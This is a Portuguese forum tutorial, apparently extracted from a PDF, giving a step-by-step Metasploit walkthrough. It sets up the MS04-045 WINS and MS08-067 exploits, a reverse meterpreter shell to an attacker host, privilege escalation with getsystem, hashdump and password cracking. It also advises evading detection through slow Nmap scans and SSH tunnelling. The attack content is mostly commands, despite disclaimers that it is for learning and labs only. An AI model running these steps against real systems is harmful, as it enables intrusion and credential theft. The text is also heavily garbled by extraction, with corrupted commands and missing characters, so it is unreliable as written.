tutorial detalhado em guia prático do metasploit
TRANSCRIPT
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
1/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
O Metasploit um framework criado por H.D.Moore, que serve para elaborao e
execuo de um repositrio de exploits.
Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonhorealidade
Agora que todos j sabem o que o Metasploit, vamos aprender a trabalhar com ele.
Lembrando que este tutorial s tem o objectivo de aprendizagem, cada um responsvelpelos seus actos.De qualquer forma, e devido a certos requesitos dos testes de intruso devero usarsempre proxy a no ser que usem um Lab com VMs
Uma das coisas que hoje j existe no metasploit uma interface grfica via browser quesimplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos(msfcl)A interface grfica omsfweb- Interface grfica via browser
Vou usar o linux mas h tambm a verso para windows. Ento levando em considerao
que tenham instalado no vosso PC e est a funcionar, vamos dar uma vista sobre autilizao desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para
mim que ainda me lembro quando para fazer isto era preciso dezenas de tools eprocedimentos... agora t tudo integrado numa plataforma/framework.
Vou tambm ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados paraque no possa ser usado como guia total para um ataque, visto cobrir todo o percurso de
exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...
Vejam tambm a, digamos, o irmo web que a excelente w3af "Web Application
Attack and Audit Framework."
Apesar do metasploit tambm estar preparado para ataques web, mas eu especializei-menos dois e melhor trabalhar com as duas em conjunto.
O metasploit possui vrias ferramentas dentre elas:(e muitas mais para vocs
explorarem... explorem os payloads, os exploits e todos os outros utilitrios. Podem fazer-lolendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "showexploits", entre outros.)
msfconsole- metasploit em modo console
msfcli- interface de automatizao de penetrao e explorao
msflogdump- exibe sesses de arquivos de logmsfplayload- usado para gerar payloads customizados
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
2/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
msfpescan- utilizado para analisar e descompilar executveis e DLLs
msfencode- um codificador interactivo de payload encoder
msfupdate- utilizado para verificar e fazer download de actualizao do framework
msfweb- Interface grfica via browser
Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma verso gratuita dodetector de vulnerabilidades automtico, o NeXpose Community Edition... ele detecta asvulnerabilidades e integra-se com o metasploit.
Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp
Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje at o nmap tm
scripts para detectar vulnerabilidades, que so a principal questo no exploitation... apartir de uma vulnerabilidade que tudo acontece e precisam saber a verso exacta dosoftware alvo e do SO... em alguns casos no windows at a lngua em que o windows esta.Algo essencial para se escolher o exploit certo saber o servio e a verso exacta domesmo, pois os exploits so feitos nessa base. Para tal e se soubermos j que h umavulnerabilidade para um apache 2 verso anterior 2.15, podemos fazer um scanespecifico com o Nmap a essa porta (80) para no dar nas vistas. como se alguemtivesse a aceder ao site, pois apenas so enviados pacotes para a porta 80. Se fizerem um
scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que um scan e corta. Saibam o que procurar e no faam scans a todas as portas, a no ser
que no haja qualquer equipamento especial, como acontece na maioria dos datacenters
para as contas mais baixas. As mais usadas.
Cdigo :
Nmap sT P ! version-all T p " ipalvo
(o T0 para que haja maior espao de tempo entre o envio de pacotes, para dificultar a
deteco. Mas no uma tcnica de evaso e pode ser dispensado. O Nmap tm diversastcnicas de evaso, como spoofing, etc... explorem a documentao)
Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus um motor que interpreta scripts em NASL (ver artigo meu na 3 Edio - Julhode 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendoum relatrio dos resultados. Estes scripts procurar milhares de vulnerabilidades, masapensa as conhecidas. Podem desenvolver os vossos prprios scripts NASL para coisasnovas.
Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente trs destas
ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke:aprender sozinho o restante... como sempre dou a base para futuras exploraes. Ajuda
ao ensino e evita script kiddies
msfconsole:
http://www.rapid7.com/vulnerability-scanner.jsphttp://www.nessus.org/nessus/http://www.nessus.org/nessus/http://www.rapid7.com/vulnerability-scanner.jsp -
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
3/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Primeiramente digita-se na linha de comando :Cdigo :
#root$%./ms&console
se for no windows s digite msfconsole sem ./, continuando dever aparecer algo como:(neste caso j foi usado o comando show exploits para se ter uma lista dos exploits. Ocomando show serve para outras coisas como payloads e opes. Ver em detalhe)
Para quem d o primeiro passo pode executar o comando help para ver os comandos deconsola. Ateno que isto so apenas os comandos de consola e no todas as suasfuncionalidades.
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
4/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a srioj sabero que exploit usar, ser: show [opo] (a opo poder ser uma das que vosaparecero seno digitarem nenhuma, como podem ver no exemplo em seguida
desta forma:
Cdigo :
ms& ' show
ms&console: show: re(uires an option: )e*ploits)+ )pa,loads)+ )encoders)+ or )nops)
ms& '
Viram que apareceram as opes deste comando. O mesmo acontece com outroscomandos, pois podem ir assim explorando a framework.
Para saberem quais os exploits que existem nesta framework (desde a ultima actualizao,
devem ir actualizando o metasploit que est em constante evoluo) basta digitar ocomando:
Cdigo :
ms& 'show e*ploits
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
5/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Para saber os payloads que existem neste framework basta digitar o comando: showpayloads e assim por diante.
Ento dentro do ambiente do metasploit escolhemos o exploit assim com o comando use:
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
6/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Cdigo :
ms& ' use winsms44
ms& winsms44 '
viram que eu escolhi o wins_ms04_045 e o prompt mudou. Utilizando para isto o
comando: use
continuando...
Digitamos o nosso velho amigo : show , novamente para verificar quais atributos eleaceita . Vejamos:
Cdigo :
ms& winsms44 ' show
ms&console: show: speci&, )targets)+ )pa,loads)+ )options)+ or )advanced)
ms& winsms44 '
Vimos aqui que ele aceita targets, payloads, options ou advanced.
Vamos verificar quais opes que este exploit j seleccionado aceita:
Cdigo :
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
7/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
ms& winsms44 ' show options
0*ploit 1ptions
222222222222222
0*ploit: Name e&ault escription
-------- ------ ------- ------------------
re(uired 51T The target address
re(uired P1T 4 The target port
Target: Target Not peci8ed
ms& winsms44 '
Este exploit aceita somente duas opes : o ip alvo e a porta alvo.
Agora deves estar a perguntar... como fao para utilizar isto. Simples, basta configurar o
que o exploit aceita (h diferenas entre exploits e cada vez mais, pois mais complexidadee vectores so adicionados, diferenciando cada vez mais os exploits), lembrando que onde
estiver escrito required, significa que estas opes tem que ser configuradasobrigatoriamente para o exploit funcionar. Continuando...
Faamos assim:
Cdigo :
ms& winsms44 ' set 51T .96.3.34
51T -' .96.3.34
ms& winsms44'
ms& winsms44 ' set P1T 4
P1T -' 4
ms& winsms44 '
Vejam que utilizei a mesma porta que o valor por default...Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais queum software acoplado ao exploit para fazer as mais variadas tarefas.Digitamos ento o comando para saber os payloads suportados pelo nosso exploit: showpayloads
Cdigo :
ms& winsms44 ' show pa,loads
etasploit ;ramewor< =sa>le Pa,loads
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
8/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
222222222222222222222222222222222222
win3adduser ?indows 0*ecute net user /!
win3>ind ?indows @ind hell
win3>inddllinAect ?indows @ind BB CnAect
win3>indmeterpreter ?indows @ind eterpreter BB CnAect
win3>indstg ?indows taged @ind hell
win3>indstgupe*ec ?indows taged @ind =pload/0*ecute
win3>indvncinAect ?indows @ind DNE erver BB CnAect
win3e*ec ?indows 0*ecute Eommand
win3passive* ?indows PassiveF !ctiveF CnAection Pa,load
win3passive*meterpreter ?indows PassiveF !ctiveF CnAect eterpreter Pa,load
win3passive*stg ?indows taged PassiveF hell
win3passive*vncinAect ?indows PassiveF !ctiveF CnAect DNE erver Pa,load
win3reverse ?indows everse hell
win3reversedllinAect ?indows everse BB CnAect
win3reversemeterpreter ?indows everse eterpreter BB CnAect
win3reverseord ?indows taged everse 1rdinal hell
win3reverseordvncinAect ?indows everse 1rdinal DNE erver CnAect
win3reversestg ?indows taged everse hell
win3reversestgupe*ec ?indows taged everse =pload/0*ecute
win3reversevncinAect ?indows everse DNE erver CnAect
ms& winsms44 '
Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente umutilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje j hpayloads para tudo e todos os SOs at uma shell especial para cracking que o
meterpreter)
O meterpreter um complexo payload que uma espcia de shell especial para
cracking, com funcionalidades especificas para isso. Algo que j falei bastantetambm.
Documento onde detalhado tcnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf
Caso queiram usar o meterpreter, na seleco do payload, escolham um com meterpreter,como por exemplowin32_reverse_meterpreter... isto vai criar uma sesso no alvo, com o
meterpreter e como reverse passa pelas firewalls, pois estas pensam que como vem dedentro da rede confivel.
http://www.nologin.org/Downloads/Papers/meterpreter.pdfhttp://www.nologin.org/Downloads/Papers/meterpreter.pdf -
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
9/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Assim:Cdigo :
ms& winsms44 ' set P!GB1! win3adduser Aolie
P!GB1! win3adduser -' Aolie
ms& winsms44'
Vamos agora listar os sistemas operativos que sero os alvos: Utilizando o velhocomando : show, s que agora assim: show targets
Cdigo :
ms& winsms44 ' show targets
upported 0*ploit Targets
2222222222222222222222222
?indows 0nglish
ms& winsms44 '
H temos uma opcao a(ui+ somente o windows em ingles I vulneravel+ mas tudo >em...
ms& winsms44 ' set T!J0T
T!J0T -'
ms& winsms44 '
tamos mesmo, mesmo, mesmo a um tirinho de caadeira... valeu a pena chegar aqui...
pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit,que mais um pacote exploit (conjunto de vrias coisas que antigamente se faziam em
separado e com muito trabalho) do que somente um exploit.
Digite somente: exploit (lindo no? Isto disparar o exploit em direco ao alvo.ATENO. S usar alvos virutais ou mquinas voas
Cdigo :
ms& winsms44 ' e*ploit
E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.
O msfcli utilizado para poder fazer tudo de uma s vez. Nao precisando do passo apasso descrito acima. Se ns ja conhecemos o exploit isto agilizamuito o nosso trabalho na linha de comando digitamos assim:
Cdigo :
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
10/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
#root$%./ms&cli winsms44 51T 2.96.3. P1T24 P!GB1!2win3adduser
teste T!J0T2 0
e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um servio sem previlgios especiais pode-se usar umexploit local para escalar previlgios ou os seguintes comandos do meterpreter. Atenoque neste caso tero de estar a usar o meterpreter (para isso tero na altura de selecodo payload escolher um especial com o meterpreter, como porexemplowin32_reverse_meterpreter)
E na sesso do meterpreter usem os scripts j existentes para isso, como apresento embaixo.
Cdigo :
meterpreter' use priv
meterpreter' gets,stem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outrasferrametas geniis, como o LophtCrack ou o Cain e Abel para crackar hashes de
passwords.Has passwords esto codificadas mas podem ser sacadas e posteriormente crackadas...
garanto que conseguiro algumas que no sejam muito fortes, o que muito normal.
Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer odownload para depois as crackarem com algum dos programas anteriormente
mencionados.
Cdigo :
.;Eonsole
' use windows/sm>/ms"67netapi
' set P!GB1! windows/meterpreter/reversetcp
' set B51T Kmeu CpL
' set 51T KCp emotoL
' e*ploit
' getuid
' hashdump
' use -& cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvocomprometido.
Cdigo :
meterpreter' download ar(uivo9 ar(uivo pastaestino
meterpreter' upload ar(uivo9 ar(uivo pastaestino
-
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
11/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
Para crackar as hashes eu uso o LOphtCrack. s guardar o resultado do "hashdump"num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que tero algumas passwords
interessantes.
(investiguem tambm a familia Pwdump... muito interessante para certas situaes.)
Citar
pwdump is the name of various Windows programs that output the LM and NTLM password hashes oflocal user accounts from the Security Account Manager (SAM). In order to work, it must be run under anAdministrator account, or be able to access an Administrator account on the computer where the hashesare to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump(aqui so explicadas as vrias cores e sabores e
seus links)
Vamos passar para uma forma ainda mais fcil. Garanto que o ppl mais windows voadorar esta forma, que um GUI (Grafical User Interface... mas no mundo dos exploits?Sim... vejam)
Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por umapagina web, todas as funcionalidades aplicaveis esto l.Para acederem ao GUI do metasploit faam:
Cdigo :
#root$%./ms&we>
M----2# etasploit ;ramewor< ?e> Cnter&ace Kip:L
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1...
Mais a porta 55555
Seria assim:http://localhost:55555
E assim vero a magia desta ferramenta. Um rico GUI onde facilmente qualquer um podeconfigurar uma sesso completa, sem digitar comandos em consolas. Claro que no alvo
vo (ou no) usar a consola, pois mais...
Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente
seleccionando.
Para complementar e devido a essas novas IPS e IDS que detectam padres de trfego e
podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra
dedicado s novas appliances PANDACom um tunnel SSH o trfego vai encriptado e no possvel identificar o mesmo, o que
http://en.wikipedia.org/wiki/Pwdumphttp://en.wikipedia.org/wiki/Pwdumphttp://localhost:55555/http://en.wikipedia.org/wiki/Pwdumphttp://localhost:55555/ -
7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit
12/12
http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/
vai dentro dessa sesso.
uma das mais usadas tcnicas de evaso,
Criando uma sesso meterpreter persistente sobre um tnel SSH(integrando com o
metasploit)http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-
partir-de-um-tunel-ssh/
Podem ver muitos videos que at j apresentei alguns, com tudo isto em "real" e muito
mais... investiguem por ai, pois h magia no ar
teckV
http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/